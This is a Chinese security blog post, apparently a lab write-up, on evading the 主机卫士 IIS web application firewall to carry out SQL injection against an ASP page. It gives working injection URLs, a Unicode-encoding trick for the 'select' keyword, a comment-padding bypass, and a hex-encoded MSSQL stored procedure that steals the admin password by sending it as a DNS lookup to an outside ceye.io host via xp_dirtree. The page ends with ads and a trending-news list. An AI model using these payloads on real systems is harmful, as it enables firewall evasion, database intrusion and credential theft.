使用hex编码绕过主机卫士IIS版本继续注入
本文作者:非主流
测试文件的源码如下:
我们先直接加上单引号试试:
http://192.168.0.20/conn.asp?id=1%27
很好,没有报错。那我们继续,and 1=1 和and 1=2,被拦截了。这个时候,我们可以看看到底是什么规则,发现每一个单独提交都不被拦截,组合到一起便被拦截了,好,那我们变通一下,用+代替空格
不再被拦截,Gogogo。
http://192.168.0.20/conn.asp?id=1+and+1=@@version 看看当前数据库的版本
http://192.168.0.20/conn.asp?id=1+and+1=user 查看当前连接数据库的用户
http://192.168.0.20/conn.asp?id=1+and+1=db_name() 查看当前连接的数据库
但是,当我们想查看有多少数据库的时候,发现被拦截了。怎么办?绕!
http://192.168.0.20/conn.asp?id=1+and+(SELECT+top+1+Name+FROM+Master..SysDatabases)
但是怎么绕呢。。依次测试吧,从左至右,开始依次加sql注入的关键字,发现
下表仅显示被拦截项目
可以看出,两个关键字的时候,只拦截select,那么我们试试三个关键字(无select)的时候,主机卫士会拦截什么?发现什么都不拦截,只会报语法错误。。。
由此,我们得出一个结论,主机卫士一定会拦截select关键字,那么问题来了,他只拦截select吗?SeLeCt呢?经过不完全测试,发现当我们将select字符unicode编码后,不拦截
http://192.168.0.20/conn.asp?id=1+and+%u0073%u0065%u006c%u0065%u0063%u0074
但是,当我们尝试一次添加三个关键字的时候,主机卫士又拦截了(好累)。
http://192.168.0.20/conn.asp?id=1+and+(%u0073%u0065%u006c%u0065%u0063%u0074+top
那么我们来试试存储过程呢?
Mssql的存储过程定义如下:
Declare @s varchar(5000) //申明变量@s 类型为varchar(5000)
Set @ //给@s变量赋值
Exec(@s) //执行@s
那么,我们就需要试着在url中提交declare、set和exec,看看是否被拦截。
很好,没有被拦截,只是提示语法错误,那就证明我们可以利用存储过程去绕过主机卫士!
我写了一个存储过程,内容如下(红色字体是需要另外修改的):
declare @s varchar(5000),@host varchar(5000)
set @s=(select password from waf_test.dbo.admin where username=’admin’)
set@host=CONVERT(varchar(5000),@s)+’.xxxx.ceye.io’;EXEC(‘master..xp_dirtre
e”\\’+@host+’\foobar$”‘)
我将这个存储过程转化成16进制(hex)
0x6465636c61726520407320766172636861722835303030292c40686f73742076617263686172283530303029207365742040733d2873656c6563742070617373776f72642066726f6d207761665f746573742e64626f2e61646d696e20776865726520757365726e616d653d2761646d696e2729207365742040686f73743d434f4e5645525428766172636861722835303030292c4073292b272e787878782e636579652e696f273b4558454328276d61737465722e2e78705f6469727472656520225c5c272b40686f73742b275c666f6f62617224222729
所以最终我们的请求是:
http://192.168.0.124/conn.asp?id=1;declare+@h+varchar(5000)+set+@h=0x6465636c61726520407320766172636861722835303030292c40686f73742076617263686172283530303029207365742040733d2873656c6563742070617373776f72642066726f6d207761665f746573742e64626f2e61646d696e20776865726520757365726e616d653d2761646d696e2729207365742040686f73743d434f4e5645525428766172636861722835303030292c4073292b272e787878782e636579652e696f273b4558454328276d61737465722e2e78705f6469727472656520225c5c272b40686f73742b275c666f6f62617224222729+exec(@h)
登陆dnslog,可以看到接收到了123456的子域名请求,这里的123456便是我在mssql数据库中admin账户的密码。
当然有了方法一就自然会有方法二,不妨开一下我们的脑洞。既然主机卫士我们可以利用超长的文件名去绕过上传(类似于二进制的溢出),那我们在这里是不是也可以通过提交超长的url去绕过他的get检查呢?想到就去做。
实验过程:
Mssql有注释语句,无论多长都不会影响到语句的执行,那么,我们试试
在select前面添加一个注释,内容非常多的1
咦,这是什么鬼???
会不会是主机卫士找到关键字后,在一定的位数之内找其他关键字,如果有便返回999,如果没有就继续执行呢?那我试试用注释把select孤立起来。
发现bypass,很开心哦。
关键字 | and | select | top | name | from | master | . | ( | ) |
---|---|---|---|---|---|---|---|---|---|
and | X | ||||||||
select | X | ||||||||
Top | |||||||||
Name | |||||||||
from | |||||||||
master | |||||||||
. | |||||||||
( |
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 澳门是伟大祖国的一方宝地 7971449
- 2 80岁顶级富豪再婚娶33岁华裔妻子 7931110
- 3 星巴克大罢工 7881184
- 4 2024 向上的中国 7758114
- 5 赵丽颖带儿子探班 7679348
- 6 男子钓上一条自带“赎金”的鱼 7577848
- 7 美国女子在地铁上被男子点燃身亡 7492320
- 8 柳岩谈44岁女演员的尴尬 7383539
- 9 唐尚珺35岁读大一 7233739
- 10 武警江西省总队原总队长施文求逝世 7149197